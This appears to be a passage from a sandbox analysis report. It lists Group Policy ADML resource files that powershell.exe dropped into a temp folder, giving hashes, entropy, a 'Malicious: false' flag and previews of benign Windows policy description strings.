Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootScenarioCategory">Windows Boot Performance Diagnostics</string>.. <string id="BootScenarioExecutionPolicyExplain">Determines the execution level for Windows Boot Performance Diagnostics.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect Windows Boot Performance problems and attempt to determine their root causes. These root causes will be logged to the eve

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PerformancePerftrack.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.988086677223878
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yuh9J6k7LXp4qVacJPYidFV:cgeD5x8gm8fKVJ6kSuacFYidFV
MD5:	EF84A579BC8272236E53AB9F5BEE92CB
SHA1:	670EA5FF6A1559F695E15D3A2D17B2A100BA79B7
SHA-256:	82C7F47D059ED97EF6AC7068E43E6933E84ACE56543FD8C945065A51C0644A63
SHA-512:	92D8CC050A24AC9F2D059486A9EA5A8184FCC6798261F789E36F1A4694F379EC9EFA8CA69AF8D53502187B7D908850EB2233038BD22901D116195F32E0E8A937
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PerfTrackCategory">Windows Performance PerfTrack</string>.. <string id="PerfTrackScenarioExecutionPolicyExplain">This policy setting specifies whether to enable or disable tracking of responsiveness events.....If you enable this policy setting, responsiveness events are processed and aggregated. The aggregated data will be transmitted to Microsoft through SQM.....if you disable this policy setting, responsiveness events are not processed.....If you do not configure this policy setting, the DPS will enable Wind

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Power.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (389), with CRLF line terminators
Category:	dropped
Size (bytes):	29740
Entropy (8bit):	4.822333468541642
Encrypted:	false
SSDEEP:	384:EkJF7YAK1c67c5h9xRoKYy5V8iisCaeZou2Ap6:EkJF7YA0a9xR5V8iPCgu2Ap6
MD5:	C0E2A98755B3DA961DBBCFA1A621154B
SHA1:	878508DB646C47D8A36C90305D919C52CD8DC11C
SHA-256:	0F8B66F7B315426ABEC4B71912D2FF5F1F4A573AC391CD8E0A10738AF808F8A6
SHA-512:	AD72CA9823E3581557BE15F198F6BB697CEF9CC372881FED501DB236D6B35834A220603F4AB36FBEE65D36DF3473862F0AD93F9443EF82204F28130F635910E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ACCriticalSleepTransitionsDisable">Turn on the ability for applications to prevent sleep transitions (plugged in)</string>.. <string id="ACHibernateTimeOut">Specify the system hibernate timeout (plugged in)</string>.. <string id="ACPowerButtonAction">Select the Power button action (plugged in)</string>.. <string id="ACPromptForPasswordOnResume">Require a password when a computer wakes (plugged in)</string>.. <string id="ACSleepButtonAction">Select the Sleep button action (plugged in)</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PowerShellExecutionPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8601
Entropy (8bit):	4.7004620993687665
Encrypted:	false
SSDEEP:	96:wB3f/vzRzuppcRzhl5tWSLh2xwqmHfc9Ka7yOUpJD4mUQfStlm8hOE9m7pqHXSp3:ozRzu0P+uIxrmpn8mgtlm8B9mgc3
MD5:	6E1645BEEB36B67E2486DF156AD73713
SHA1:	96BF04C94854CBA227B3E3518A5BF6EEEEFFCA64
SHA-256:	1963DE8A3D77000A3DCF16B751132920F2F8ED0274905285C914469D1597F11D
SHA-512:	5A6D2DAEE84146D94A7D93640C92B14792C759D1E778C25BA3CA3B892628B87848EC414EC6DB709F6912B3E38397C608A343D719AF8B26169022FADBCF35DB79
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Windows PowerShell</displayName>.. <description>This file contains the configuration options for Windows PowerShell</description>.. <resources>.. <stringTable>.. <string id="AllScripts">Allow all scripts</string>.. <string id="AllScriptsSigned">Allow only signed scripts</string>.. <string id="EnableScripts">Turn on Script Execution</string>.. <string id="EnableScripts_Explain">This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run.....If you enable this policy setting, the scripts selected in the drop-down list are allowed to run.....The "Allow only signed scripts" policy setting allows scripts to execute only if they are signed

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PreviousVersions.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5301
Entropy (8bit):	4.592135641503131
Encrypted:	false
SSDEEP:	96:LeD5pmieohnx5hxncDmeoqCcxjBgAeocs7x7BNcGDQaFV:EBtx5h9zqCccQcs75BhDQan
MD5:	4DAE700A902336A7ACD9315F2DCB6F00
SHA1:	B472C8447E223252B2B43403D60468B62C3FFE2C
SHA-256:	DC5A3DE3D24654B83D269B2A74148B777261995A56ABAD7943616BBA648A28AE
SHA-512:	3C572957861E0FD9D62F51C8ED0DB407C7C20C1DBCD99B2F06F60DE19D31158367D03C8729E8EC0B41F983D7744F9FEADE91C4AE68434EFEBDF57F9BBC201D9E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableBackupRestore">Prevent restoring previous versions from backups</string>.. <string id="DisableBackupRestore_Help">This policy setting lets you suppress the Restore button in the previous versions property page when the user has selected a previous version of a local file, in which the previous version is stored on a backup.....If you enable this policy setting, the Restore button is disabled when the user selects a previous version corresponding to a backup.....If you disable this policy setting, the Re

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Printing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (568), with CRLF line terminators
Category:	dropped
Size (bytes):	33066
Entropy (8bit):	4.630945231898182
Encrypted:	false
SSDEEP:	384:YRG9T17KYkXyUrqDiynH2yi4oO+gwlquRfpxHkyT/yT/eaXl+H1CUnJi:tvmrrnlpxHkyedu1CUnw
MD5:	587143E4C31AF88A0591C34F205DB7FB
SHA1:	F6B86A1E88E2822BA2A595E6BD047BD04CCD5C0B
SHA-256:	90D12A7BC2ECAE124C62A43069FCD48E3AAA6F214325372EA82E5727F290D184
SHA-512:	ED01D954728347AA2A0DED6D0F351BDDD5C9CA0254802BCEED01104D5C5909342A15A6D628B4249782151E748514679822A169A3CC846722E1BA81A24D9EAAA3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowWebPrinting">Activate Internet printing</string>.. <string id="AllowWebPrinting_Help">Internet printing lets you display printers on Web pages so that printers can be viewed, managed, and used across the Internet or an intranet..... If you enable this policy setting, Internet printing is activated on this server..... If you disable this policy setting or do not configure it, Internet printing is not activated..... Internet printing is an extension of Internet In

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Printing2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (640), with CRLF line terminators
Category:	dropped
Size (bytes):	14598
Entropy (8bit):	4.638367767119586
Encrypted:	false
SSDEEP:	192:vPo4LQX7miuddCSgP71CTd5xZSq5ynxWmBIY+DOxH++JGQfFD:ox7Idu7Ih5xwqcJJrxPAM
MD5:	5BA865D69814055E09D5698701921315
SHA1:	E0F4F6C1D949A6E2B1A30D4397CED3C175A3F003
SHA-256:	28D160709A578AE08008CE9F84EFA853F0CD30C05AC418ED0085133B7F5BE4F8
SHA-512:	7A09CB06DAE4236124B0CDE8B8C4887C95CEAE97C1EEB8D632AFE142B4ED7BBA4DB52AE3BFF03253C9CE7C5242FD6E8894B74A7AB294BECA5B39429FCF09591F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>Printing Group Policies</displayName>.. <description>Printing Group Policies valid on all Windows flavors except ARM</description>.. <resources>.. <stringTable>.. <string id="RegisterSpoolerRemoteRpcEndPoint">Allow Print Spooler to accept client connections</string>.. <string id="RegisterSpoolerRemoteRpcEndPoint_Help">This policy controls whether the print spooler will accept client connections.....When the policy is unconfigured or enabled, the spooler will always accept client connections.....When the policy is disabled, the spooler will not accept client connections nor allow users to share printers. All printers current

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Programs.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (424), with CRLF line terminators
Category:	dropped
Size (bytes):	7022
Entropy (8bit):	4.658208655049282
Encrypted:	false
SSDEEP:	96:LeD5pmxKh8Wc3Ww1nZy8hmiZWV9k4W0DWivt2fpre9hWJT+K3AqcOrzqhScDMFsO:EU3RnY82DVYfUrWd+kxXc0sVcfu9q
MD5:	14D4B2677604A342B26891EFC3597078
SHA1:	A51EBAF7D5FCFF778B9AEDCE6F37C5C9D6B2B0EC
SHA-256:	5EE2DF374170A87F773008D43AEBEBEF3E1C451F0E9A530B6F2CD5C1601E0012
SHA-512:	DB06D2D412763EC3ACA0D03D4694E6D86C4149B57BD31EA91E8C0E0C3ED8C56B15FDBB2B3FB441D5DC3C5BD262FDE2543A27477FF32C2509473B87B5B10DEDEF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Programs">Programs</string>.. <string id="NoProgramsCPL">Hide the Programs Control Panel</string>.. <string id="NoProgramsCPL_Help">This setting prevents users from using the Programs Control Panel in Category View and Programs and Features in Classic View... ..The Programs Control Panel allows users to uninstall, change, and repair programs, enable and disable Windows Features, set program defaults, view installed updates, and purchase software from Windows Marketplace. Programs published or assigned to

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PswdSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	4835
Entropy (8bit):	4.774670262203608
Encrypted:	false
SSDEEP:	96:LeD5pmMM44GDFsil1oXY7XlMXC3K8GDFeMbiZC0XEV:EB4eFUXUXuy33eFPAX0
MD5:	81A4179A1F50B390A55CEC61B95F6752
SHA1:	1D21A6C288E6EB744C52CCAA2A81298CAB467B12
SHA-256:	5A277C91D697FECAEBECFD1AA4A38F6027C5800BFB4B5EBEBBA90251C788BEAB
SHA-512:	F79C992F4FA17D80A8B65F7AB9753DBBBC12295B80DBDAA3C71CE417B63F9B39774D4ABF5381FD45320E684728FBD05D3761FF37F53A26A3076DF20C3EA2DB71
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PswdSync">Password Synchronization</string>.. <string id="Psync_LoggingLevel">Turn on extensive logging for Password Synchronization</string>.. <string id="Psync_LoggingLevel_Help">This policy setting allows an administrator to turn on extensive logging for Password Synchronization.....If you enable this policy setting, all affected computers that are running Password Synchronization log intermediate steps for password synchronization attempts.....If you disable or do not configure this policy setting, in

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\QOS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	22100
Entropy (8bit):	4.777240545794819
Encrypted:	false
SSDEEP:	384:S0I0F0I0w0i0O0Q0c0K0F1P0mDeWvyz0gx0YV0BI0l+0Xe0X:f+
MD5:	5A29BFD51F48A0377276834F0B8BAF80
SHA1:	E1F484C1462470950E95ADC7D7E4FC1A6FA273B6
SHA-256:	39B7A57E44813AFFEF1380FC4A2CE929EDAAAB031B457C50381A76996FD6B654
SHA-512:	DE4B16EDBAB62DEDF2AC48ABF223AE084B29A7DC6231507ECE14DF273CECA57F1E86C4C9AFAF0CE627394C6523E7D140A1A60E8E9B8D5D7FA93C57304BEE2AF3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="QosDBMC_BestEffort_Help">Specifies an alternate Layer-3 Differentiated Services Code Point (DSCP) value for packets with the Best Effort service type (ServiceTypeBestEffort). The Packet Scheduler inserts the corresponding DSCP value in the IP header of the packets.....This setting applies only to packets that conform to the flow specification.....If you enable this setting, you can change the default DSCP value associated with the Best Effort service type.....If you disable this setting, the system uses the default

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RPC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	13725
Entropy (8bit):	4.739504626052788
Encrypted:	false
SSDEEP:	192:EuPHdbK3t1tsbRP7MaC+9D29YVm8yvRyd4+gzsBUNh8yhXOLzUFoNP1npbNjtKjr:9vdew4argz4/gzsGbF5OLzQm1pFtcr
MD5:	C7D0520662B4D6F3A33CD02E7D078832
SHA1:	2092E311A0CDB5F1EDBFC9D3A39490EA6F061314
SHA-256:	A1595A8F7F77496CB3DAE9BA4A8787985FF7C5C7B50BCE6EA19ECC823B874C57
SHA-512:	0F23E0D8B3A0C3007C81794DEA01E218A6810AF134BB40DE84C7509BC2F82C0E6F919E4C2994C2964C977C9F7EC0DFB4456328C928C3A3A67B5EC1126152ACE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Rpc">Remote Procedure Call</string>.. <string id="RpcEEInfoOff">Off</string>.. <string id="RpcEEInfoOffWithExc">Off with Exceptions</string>.. <string id="RpcEEInfoOn">On</string>.. <string id="RpcEEInfoOnWithExc">On with Exceptions</string>.. <string id="RpcEnableAuthEpResolution">Enable RPC Endpoint Mapper Client Authentication</string>.. <string id="RpcEnableAuthEpResolution_Help">This policy setting controls whether RPC clients authenticate with the Endpoint Mapper Service when the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RacWmiProv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.961792727852399
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3FNPKJAzSIveqsUA0j01oSxz1kFV:cgeD5x8gmYAkFVgeMFV
MD5:	B8793F540E47EE449A0369A0569CFB8A
SHA1:	3701D0618E2079A6EFDAD7748C21B6B236CD2070
SHA-256:	4BEFE402E1D8BAF094346887C509331398720109298EEB4DD947879DFE0A9216
SHA-512:	59C4192172AC1BF0278659B1876B3E71ECDD0FE4E2E6B0EC33796C75566F85C0BD1AD6FF5D3BC57382532D65CA3914982369F199781B1DC6E84C1B69CA517D32
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Reliability Analysis Component</displayName>.. <description>Reliability Analysis Component</description>.. <resources>.. <stringTable>.. <string id="RAC">Windows Reliability Analysis</string>.. <string id="ConfigureRacWmi">Configure Reliability WMI Providers</string>.. <string id="ConfigureRacWmi_help">This policy setting allows the Windows Management Instrumentation (WMI) providers Win32_ReliabilityStabilitymetrics and Win32_ReliabilityRecords to provide data to Reliability Monitor in the Action Center control panel, and to respond to WMI requests.....If you enable or do not configure this policy setting, the listed providers will resp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Radar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (563), with CRLF line terminators
Category:	dropped
Size (bytes):	2714
Entropy (8bit):	4.801755208450146
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbFnok+9MKFLOL5dEyIsaVZ57O0BsYu+P4XEgV:LeD5pmnFnok+9RL+M5jVZ8CsuPeV
MD5:	64AFB930E79CDCDF1D967B37180DEC5C
SHA1:	AA45CC6BCA49EF263EC3880FFE65F1C5D936CC70
SHA-256:	8C710DC3983ED5962C5F7D40C3390C660AE7597CEA71F2BF8FF68B6EFC594CB7
SHA-512:	BF40F01F07FB8674902D50A9C7B6C3636714B6C3E5FFC1D045689B46A63024379CB1FE45092FF98912E265433FD4A8970B4CCF539F1AA56831E2283231D55AC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Resource Exhaustion Detection and Resolution</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">Determines the execution level for Windows Resource Exhaustion Detection and Resolution.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ReAgent.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (483), with CRLF line terminators
Category:	dropped
Size (bytes):	1817
Entropy (8bit):	4.807685062167235
Encrypted:	false
SSDEEP:	48:cgeD5x8gmclqzPa520pns19F9K0SppRPRDdamFV:LeD5pmnvI3R9FV
MD5:	74A0325268266B2CDE0E3F5F1597F203
SHA1:	088E690A896920238445D6605ACBE4F40498742F
SHA-256:	11AB21A9F9176CBC644DBDC5020FA4791086234FB126A5F0885315EFD299BB35
SHA-512:	D79952DFB16CF46EF6D91DC4031CDAD7F7D060E92E16E18CECA3CA5B69F017C895FD54655F05F6CEE08C027CC3981BDA16F798726C69A39C95FF923D763B72F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Recovery</displayName>.. <description>Recovery</description>.. <resources>.. <stringTable>.. <string id="WinRE">Recovery</string>.. <string id="ConfigureWinRESetup">Allow restore of system to default state</string>.. <string id="ConfigureWinRESetup_help"> Requirements: Windows 7.. Description: This policy setting controls whether users can access the options in Recovery (in Control Panel) to restore the computer to the original state or from a user-created system image..... If you enable or do not configure this policy setting, the items "Use a system image you created earlier to recover your computer" and "Reinstall Windows" (

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Reliability.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5310
Entropy (8bit):	4.781992069178365
Encrypted:	false
SSDEEP:	96:LeD5pmAydEk3E7mEvPexos3w33I3tcGBQ4pdV:E8EkCmE3exoiO32tTBQy
MD5:	0B7DB39B4E35B6787C19C79280664C11
SHA1:	870AA05E92B4B0FACEC8EC4E7D8F5C428748A5A4
SHA-256:	3FC94A050B5B845BF0D21AB6D0718A5BC0FD292624A6AA4E7D8E06317DE34863
SHA-512:	6E9A356BCE00B25A998A0B63BF6C0B29521DE43DD155712A025311518DC212384C4599B48D403E3E1DD2580E3B5F1D6688930D7441A66488C6A7870EF3233F87
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EE_EnablePersistentTimeStamp">Enable Persistent Time Stamp</string>.. <string id="EE_EnablePersistentTimeStamp_Help">This policy setting allows the system to detect the time of unexpected shutdowns by writing the current time to disk on a schedule controlled by the Timestamp Interval.....If you enable this policy setting, you are able to specify how often the Persistent System Timestamp is refreshed and subsequently written to the disk. You can specify the Timestamp Interval in seconds.....If you disable this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RemoteAssistance.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (455), with CRLF line terminators
Category:	dropped
Size (bytes):	10373
Entropy (8bit):	4.861749081876546
Encrypted:	false
SSDEEP:	192:E2YJPhavu9rf+gZnyy8uI30F3GF3QRcb4vervzv6lQ4:Nfu9rf+CZ8uI30F3GF3QRcbSebjqQ4
MD5:	F239E9C6B37ABE7AEE14C64FCD64D86A
SHA1:	D703C2A53723A2F933DE2456E706154A29194247
SHA-256:	428CCC88349680A1684A33176FED4E4B8BC544EC7B29DCD71CB17BFFE274D16F
SHA-512:	8221ABD08D82C27C4AAE3136E8E085C56BF8FF3D4059583F744C5837C61AAD0832D9AE5E84EF77780890A01684EB4F5D5CA33A7E35986435F771FDB67F66D11F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RA_Logging">Turn on session logging</string>.. <string id="RA_Logging_Help">This policy setting allows you to turn logging on or off. Log files are located in the user's Documents folder under Remote Assistance.....If you enable this policy setting, log files are generated.....If you disable this policy setting, log files are not generated.....If you do not configure this setting, application-based settings are used.</string>.. <string id="RA_Optimize_Bandwidth">Turn on bandwidth optimization</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RemovableStorage.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (302), with CRLF line terminators
Category:	dropped
Size (bytes):	13642
Entropy (8bit):	4.756771021239847
Encrypted:	false
SSDEEP:	192:EnzGj8hc8ROewd8BWwfZ6P0OuI3CDzGvnt7fdXV/gBLtDNGaUgmGaUTGaUFmGaU6:NtjIvGaUBGaUTGaUEGaUUGaUW
MD5:	3C7C9203B770747E42F16415384ACA91
SHA1:	577E03EBA471F120DB1A1D96648E18E215C57982
SHA-256:	61727D2632E0E816A562C6489E5732206A94D3F3581D35042F72FC03A7ECD3D0
SHA-512:	7C3F140959497EC753935942A4CB063BA3D431D1F5C4A6FA16BEBD065DE5280C9C0AC34E2A938E413CC7B68A78D2C33BE73DE58F74B1BD71A4A8DBDD12ABF080
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AccessRights_RebootTime">Set time (in seconds) to force reboot</string>.. <string id="AccessRights_RebootTime_Help">This policy setting configures the amount of time (in seconds) that the operating system waits to reboot in order to enforce a change in access rights to removable storage devices.....If you enable this policy setting, you can set the number of seconds you want the system to wait until a reboot.....If you disable or do not configure this setting, the operating system does not force a reboot.....N

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Scripts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	12538
Entropy (8bit):	4.768527840947223
Encrypted:	false
SSDEEP:	192:E4w/xBxQzr/8RRROAHPKc16VcDuJxR1Vi3ia67NitbK0pft+pw7TUlyUAGSJ:wnRRPgHkS9A9D1P
MD5:	6B1C987D0C322DD0DD627EC2020F90AC
SHA1:	C25254DCB050E342AB84633F084B9ABC06EF9239
SHA-256:	EBC840298B0A1FB37F1DB1DF288FC5FAEA981B2F8AE4BE9E0E07D11A1E9E0FB5
SHA-512:	915A3DB4C3C0572BE46009BA976FFB606FD304B5908207F288C06DFA6A2281153304E7FF368E446BB8CE5217E0DB4FF849DD2119904007057D85ADEBB9B75325
Malicious:	false
